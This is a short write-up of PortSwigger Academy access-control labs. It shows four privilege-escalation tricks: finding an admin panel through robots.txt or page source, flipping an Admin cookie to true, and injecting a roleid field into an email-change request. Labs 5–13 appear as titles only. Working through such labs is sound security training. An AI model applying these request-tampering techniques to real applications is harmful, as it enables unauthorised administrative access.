Access Control Vulnerabilities (Labs: PortSwigger Academy)
Labs from PortSwigger Academy
Lab 1: Unprotected admin functionality
visiting /robots.txt give
Disallow: /administrator-panel
we can simply visit the url and delete the user carlos Lab 2: Unprotected admin functionality with unpredictable URL
Visiting page source leaks admin panel url Lab 3: User role controlled by request parameter
Each request hash cookie
Cookie: session=sDBAEXHgc<snip>mYoXfa9M9pb; Admin=false
we can simply edit Admin value to true in each request to get administrative accessLab 4: User role can be modified in user profile
while updating email of the account we get following as response
request:
{"email":"test@gmail.com"}
response:
{
"username": "wiener",
"email": "test@gmail.com",
"apikey": "9kAv<snip>ZVRIlZJ79",
"roleid": 1
}
now, we can add roleid field in change-email request
request:
{
"email":"test@gmail.com",
"roleid":2
}
response:
{
"username": "wiener",
"email": "test@gmail.com",
"apikey": "9kAvthjfqQN77Hvd0UVNVt4ZVRIlZJ79",
"roleid": 2
}
We now have roleid = 2 and this role has administrator privilege
Lab 5: User ID controlled by request parameter
Lab 6: User ID controlled by request parameter, with unpredictable user IDs
Lab 7: User ID controlled by request parameter with data leakage in redirect
Lab 8: User ID controlled by request parameter with password disclosure
Lab 9: Insecure direct object references
Lab 10: URL-based access control can be circumvented
Lab 11: Method-based access control can be circumvented
Lab 12: Multi-step process with no access control on one step
Lab 13: Referer-based access control
Last updated